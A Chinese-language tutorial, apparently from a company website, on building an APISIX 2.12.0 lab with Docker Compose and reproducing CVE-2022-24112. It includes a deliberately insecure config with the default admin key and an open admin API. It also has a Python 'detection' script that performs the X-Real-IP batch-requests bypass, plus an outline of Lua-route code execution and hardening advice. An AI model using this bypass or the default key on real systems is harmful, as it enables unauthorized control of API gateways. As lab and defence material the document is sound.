手把手教你用Docker Compose一键搭建APISIX 2.12.0靶场,并复现CVE-2022-24112(附检测脚本)
2026/4/28 5:13:25 网站建设 项目流程

基于Docker Compose的APISIX 2.12.0靶场构建与CVE-2022-24112漏洞深度解析

在网络安全研究和渗透测试领域,快速搭建可复现的漏洞环境是每个安全从业者的必备技能。本文将详细介绍如何使用Docker Compose一键部署APISIX 2.12.0靶场环境,并深入分析CVE-2022-24112漏洞的原理与验证方法。

1. 环境准备与Docker Compose配置

构建一个完整的APISIX靶场环境需要包含以下组件:

  • APISIX 2.12.0主服务
  • etcd配置存储
  • APISIX Dashboard管理界面
  • 辅助的Nginx上游服务

1.1 项目目录结构

建议采用以下目录结构组织配置文件:

apisix-lab/ ├── apisix_conf/ │ └── config.yaml ├── dashboard_conf/ │ └── conf.yaml ├── upstream/ │ ├── web1.conf │ └── web2.conf ├── apisix_log/ ├── docker-compose.yml └── scripts/ └── check_vulnerability.py

1.2 Docker Compose核心配置

以下是优化后的docker-compose.yml文件:

version: "3.8" services: apisix: image: apache/apisix:2.12.0-alpine ports: - "9080:9080" - "9091:9091" - "9443:9443" volumes: - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro - ./apisix_log:/usr/local/apisix/logs depends_on: - etcd networks: - apisix-net etcd: image: bitnami/etcd:3.4.15 environment: ETCD_ENABLE_V2: "true" ALLOW_NONE_AUTHENTICATION: "yes" volumes: - etcd_data:/bitnami/etcd networks: - apisix-net dashboard: image: apache/apisix-dashboard:2.10.1-alpine ports: - "9000:9000" volumes: - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml networks: - apisix-net networks: apisix-net: driver: bridge volumes: etcd_data:

关键配置说明:

  • APISIX服务:暴露9080(HTTP)、9091(控制)和9443(HTTPS)端口
  • etcd:使用v2和v3 API,禁用认证简化测试
  • Dashboard:提供Web管理界面,默认端口9000

2. APISIX核心配置解析

config.yaml是APISIX的核心配置文件,漏洞相关配置如下:

apisix: node_listen: 9080 allow_admin: - 0.0.0.0/0 # 允许任意IP访问管理API admin_key: - name: "admin" key: edd1c9f034335f136f87ad84b625c8f1 # 默认API密钥 role: admin plugins: - batch-requests # 默认启用的漏洞插件

安全风险点

  1. allow_admin开放了管理API的访问权限
  2. 使用了默认的admin_key未作修改
  3. batch-requests插件存在IP校验绕过漏洞

3. CVE-2022-24112漏洞原理深度分析

该漏洞源于APISIX的batch-requests插件对IP地址校验的逻辑缺陷,攻击者可利用此漏洞:

  1. 绕过IP限制:通过构造特殊的X-Real-IP头部欺骗IP检查
  2. 滥用管理API:利用默认API密钥执行管理员操作
  3. 远程代码执行:通过创建恶意路由注入Lua代码

3.1 漏洞利用流程

步骤操作技术细节
1发送批量请求使用batch-requests插件端点
2设置X-Real-IP绕过IP限制检查
3创建恶意路由包含filter_func的Lua代码
4触发路由执行访问恶意路由路径

3.2 漏洞检测脚本

以下Python脚本可检测系统是否存在此漏洞:

import requests def check_vulnerability(target): headers = { 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', 'Content-Type': 'application/json' } payload = { "headers": {"X-Real-IP": "127.0.0.1"}, "pipeline": [{ "method": "GET", "path": "/apisix/admin/routes", "body": "" }] } try: response = requests.post( f"http://{target}/apisix/batch-requests", json=payload, headers=headers, timeout=5 ) return response.status_code == 200 and "routes" in response.text except Exception: return False

4. 漏洞验证与防御措施

4.1 手动验证步骤

  1. 启动环境:

    docker-compose up -d
  2. 检查服务状态:

    docker-compose ps
  3. 使用检测脚本验证:

    python3 scripts/check_vulnerability.py localhost:9080

4.2 安全加固建议

  • 立即措施

    • 修改默认的admin_key
    • 限制admin API的访问IP
    • 禁用batch-requests插件
  • 长期方案

    • 升级到APISIX 2.12.1或更高版本
    • 实施网络层访问控制
    • 启用审计日志监控管理API操作

5. 漏洞研究与学习进阶

对于希望深入理解此漏洞的安全研究者,建议:

  1. 分析补丁代码:比较修复前后的插件实现差异
  2. 构建变异测试:尝试不同的IP伪造技术
  3. 开发检测规则:编写Suricata/Snort规则检测攻击尝试

在测试环境中,可以通过以下命令快速检查当前APISIX版本:

curl -i http://localhost:9080/apisix/admin/routes -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'

实际测试中发现,即使修改了admin_key,如果未正确配置IP限制,攻击者仍可能通过其他方式绕过防护。这种深度防御的缺失在API网关类产品中尤为危险,因为它们在架构中处于关键位置。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询